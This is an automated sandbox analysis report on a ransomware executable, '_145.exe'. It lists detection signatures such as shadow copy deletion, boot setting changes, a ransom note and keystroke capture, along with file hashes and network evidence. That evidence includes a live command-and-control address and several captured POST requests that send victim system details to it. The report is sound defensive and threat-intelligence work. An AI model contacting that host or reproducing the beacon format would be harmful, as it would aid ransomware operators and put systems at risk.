Windows Analysis Report
_145.exe

Overview

General Information

Sample Name: _145.exe
Analysis ID: 1337854
MD5: b54d7da0fe6869006ffd3b9b470f0dc4
SHA1: 5d0b9521cca0c911d49162e7f416a1463fbaefae
SHA256: df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f
Tags: exemalloxransomware
Infos:

Detection

Targeted Ransomware, TrojanRansom
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Targeted Ransomware
Multi AV Scanner detection for submitted file
Yara detected TrojanRansom
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Yara detected RansomwareGeneric
Snort IDS alert for network traffic
Creates files in the recycle bin to hide itself
Uses bcdedit to modify the Windows boot settings
May disable shadow drive data (uses vssadmin)
Writes many files with high entropy
Writes a notice file (html or txt) to demand a ransom
Deletes shadow drive data (may be related to ransomware)
Opens network shares
May use bcdedit to modify the Windows boot settings
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Internet Provider seen in connection with other malware
Sample execution stops while process was sleeping (likely an evasion)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Searches for user specific document files
Contains long sleeps (>= 3 min)
May check the online IP address of the machine
Abnormal high CPU Usage
Enables debug privileges
Installs a raw input device (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Checks for available system drives (often done to infect USB drives)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: _145.exe ReversingLabs: Detection: 76%
Antivirus / Scanner detection for submitted sample
Source: _145.exe Avira: detected
Antivirus detection for URL or domain
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpx Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpr Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpC: Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpnQ Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpE Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type: Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php? Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpP Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpM Avira URL Cloud: Label: malware
Source: http://91.215.85.142/ Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpf Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php_ Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpata Avira URL Cloud: Label: malware
Source: http://91.215.85.142/ows Avira URL Cloud: Label: malware
Source: http://91.215.85.142/RS Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpj Avira URL Cloud: Label: malware
Uses 32bit PE files
Source: _145.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: _145.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtt source: _145.exe, 00000000.00000003.2463883716.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2448155795.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2474161549.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2468665310.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2446209908.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2421851748.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2470248366.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2424145871.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2444794305.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2458250816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: WINLOA~1.PDBwinload_prod.pdb source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2768594020.00000000046B9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.\u source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.erroro source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*y\n source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: WINLOA~1.PDBwinload_prod.pdbansferApiGroup003495205506.txtf-4 source: _145.exe, 00000000.00000003.2419605565.0000000004710000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtxtxC;Gl source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\* source: _145.exe, 00000000.00000003.3033904369.0000000000C42000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: *ntkrnlmp.pdb.x source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Checks for available system drives (often done to infect USB drives)
Source: C:\Users\user\Desktop\_145.exe File opened: z: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: x: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: v: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: t: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: r: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: p: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: n: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: l: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: j: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: h: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: f: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: d: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: b: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: y: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: w: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: u: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: s: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: q: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: o: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: m: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: k: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: i: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: g: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: e: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: c: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: a: Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SOPHIA\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\Cache\ Jump to behavior

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49711 -> 91.215.85.142:80
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49713 -> 91.215.85.142:80
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49715 -> 91.215.85.142:80
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49719 -> 91.215.85.142:80
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49720 -> 91.215.85.142:80
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49721 -> 91.215.85.142:80
Source: Traffic Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49722 -> 91.215.85.142:80
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: PINDC-ASRU PINDC-ASRU
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: global traffic HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 173.231.16.77 173.231.16.77
Source: Joe Sandbox View IP Address: 173.231.16.77 173.231.16.77
May check the online IP address of the machine
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: _145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2402014969.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2353415484.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2164025204.0000000004E67000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2439049300.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2317335616.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2288444944.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2234137390.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2253989150.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2276294552.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2401176735.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php
Source: _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3026631650.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2248365883.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2994950360.0000000000C71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php?
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpC:
Source: _145.exe String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:
